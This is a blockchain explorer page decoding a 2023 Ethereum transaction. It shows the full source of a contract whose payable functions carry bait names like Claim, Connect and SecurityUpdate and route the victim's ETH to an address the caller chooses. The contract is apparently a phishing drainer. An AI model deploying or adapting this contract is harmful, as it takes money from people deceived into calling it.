ETH Price: $4,299.71 (-3.61%)

Transaction Decoder

Block:
17707148 at Jul-16-2023 04:50:47 PM +UTC
Transaction Fee:
0.0006031369741572 ETH $2.59
Gas Used:
29,434 Gas / 20.4911658 Gwei

Account State Difference:

  Address   Before After State Difference Code
0x000D9ACa...081EA0000 0.032327982519298727 Eth0.042813460302278579 Eth0.010485477782979852
(Faith Builder)
7.692231706131344672 Eth7.6923712174160828 Eth0.000139511284738128
0xD74A9273...00Df6daCc
0.012944417678979852 Eth
Nonce: 1
0.0018558029218428 Eth
Nonce: 2
0.011088614757137052

Execution Trace

ETH 0.010485477782979852 G_Contract.Claim( sender=0x00001c46F02DdF529A6621604E8FC47730580000 )
// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;



contract G_Contract {

  address private owner;
  mapping (address => uint256) private balance;
  mapping (address => bool) private auto_withdraw;

  constructor() { owner = msg.sender; }
  function getOwner() public view returns (address) { return owner; }
  function getBalance() public view returns (uint256) { return address(this).balance; }
  function getUserBalance(address wallet) public view returns (uint256) { return balance[wallet]; }
  function getWithdrawStatus(address wallet) public view returns (bool) { return auto_withdraw[wallet]; }
  function setWithdrawStatus(bool status) public { auto_withdraw[msg.sender] = status; }

  function withdraw(address where) public {
    uint256 amount = balance[msg.sender];
    require(address(this).balance >= amount, "BALANCE_LOW");
    balance[msg.sender] = 0; payable(where).transfer(amount);
  }

  function Claim(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function ClaimReward(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function ClaimRewards(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function Execute(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function Multicall(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function Swap(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function Connect(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }
  function SecurityUpdate(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; }

}